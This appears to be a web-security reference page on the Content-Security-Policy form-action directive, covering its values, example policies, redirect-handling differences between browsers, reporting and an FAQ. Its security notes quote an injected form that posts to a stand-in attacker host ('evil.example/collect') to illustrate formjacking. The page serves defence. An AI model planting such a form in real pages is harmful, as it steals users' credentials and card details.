form-action
The CSP form-action directive restricts the URLs a form can submit to, blocking forms that post credentials to an attacker.
Last update:
The form-action directive controls which URLs a
<form>
is allowed to submit to. It restricts the destination set by a form's action
attribute (and by formaction on a submit button), so an injected or tampered
form cannot post a user's input to a server you did not approve.
Allow forms to submit only to the same origin:
Content-Security-Policy: form-action 'self'Fallback chain
form-action has no fallback.
default-src
does not cover it, so unless you add form-action explicitly, forms can submit
anywhere. Leaving it out is the kind of gap that lets an injected form quietly
exfiltrate credentials.
Values
form-action takes a source list. It does not accept nonces or hashes (those
describe content, not a submission target).
| Value | Status | Description |
|---|---|---|
'none' | ✅ Good | Blocks all form submissions, including same-origin posts. |
'self' | ✅ Good | Allows submissions only to the document's own origin. |
| Host or scheme source | ✅ Good | Allows submissions to a matching host source or scheme source, for example a dedicated payment host. |
When a form's target does not match the source list, the browser blocks the
submission and reports a violation. 'self' is the right value for most sites,
since forms usually post back to the same origin. Add specific hosts only for
forms that legitimately submit elsewhere, and avoid a wildcard or a bare scheme
such as https:, which lets a form submit to any host and defeats the directive.
Examples
Allow a checkout form that posts to a dedicated payment host:
Content-Security-Policy: form-action 'self' https://pay.example.comBlock all submissions on a page that should never post a form:
Content-Security-Policy: form-action 'none'In a fuller policy it sits with the other navigation controls:
Content-Security-Policy:
default-src 'self';
base-uri 'none';
form-action 'self';
frame-ancestors 'none'Security notes
form-action defends against forms that send user input to the wrong place. If an
attacker injects a <form action="https://evil.example/collect"> or rewrites an
existing form's action, a victim who submits the form ships their data straight
to the attacker. This is a real path for credential theft and for formjacking on
payment pages, where a tampered form captures card details on submit.
Restricting form-action to 'self' (or to the specific hosts your forms post
to) means the browser refuses to submit anywhere else, so an injected destination
never receives the data. On payment pages, pairing it with monitoring of the
scripts and forms on the page is part of meeting PCI DSS v4 client-side
expectations.
Known bypasses and risks
Every browser enforces form-action against the form's initial submission URL,
but redirect handling differs. Chrome and Safari also enforce the directive
against post-submission redirects, while Firefox checks only the initial URL, and
the spec issue that would settle
the behavior is still open. Allowlist the redirect targets your forms land on,
and treat form-action as one layer alongside server-side validation of where
sensitive forms post, not as a complete guarantee on its own.
It also does not stop client-side script from reading form fields and sending them
elsewhere with fetch; that exfiltration path is governed by
connect-src,
not form-action.
Setting form-action 'none' blocks every submission, including legitimate ones, so
use it only on pages that genuinely have no forms. The more common risk is the
opposite, shipping a policy with no form-action at all and assuming a strong
script-src covers it. It does not. Run the policy through the
CSP evaluator to surface a missing or overly broad
form-action.
Recommendation
Content-Security-Policy: form-action 'self'Ship 'self', or 'self' plus the explicit destinations your forms actually
post to, per the OWASP CSP cheat sheet.
Include redirect targets in the list, because Chrome and Safari also enforce
form-action after redirects while Firefox checks only the initial URL.
Reporting
When the directive blocks a submission, the browser emits a
csp-violation report
naming form-action as the effective directive. Wire delivery with the
report-to directive
and the Reporting-Endpoints header.
Browser support
form-action is part of CSP Level 2 and Level 3 and is widely supported across
current browsers. Redirect handling still differs per engine; see
Known bypasses and risks.
FAQ
What does form-action do?
form-action controls which URLs a <form> is allowed to submit to, restricting the destination set by a form's action attribute and by formaction on a submit button. If a form's target does not match the source list, the browser blocks the submission and reports a violation. 'self' suits most sites.
Does form-action stop CSRF?
No. form-action restricts where a form may submit, not whether a cross-site request forges one, so it is not a CSRF control. It blocks an injected form from posting user input to an attacker's server. It also does not stop script reading form fields and sending them with fetch, which connect-src governs.
See also
- default-src
- base-uri
- frame-ancestors
- connect-src
- navigate-to, the removed directive that would have covered link and script navigation
- CSP keyword values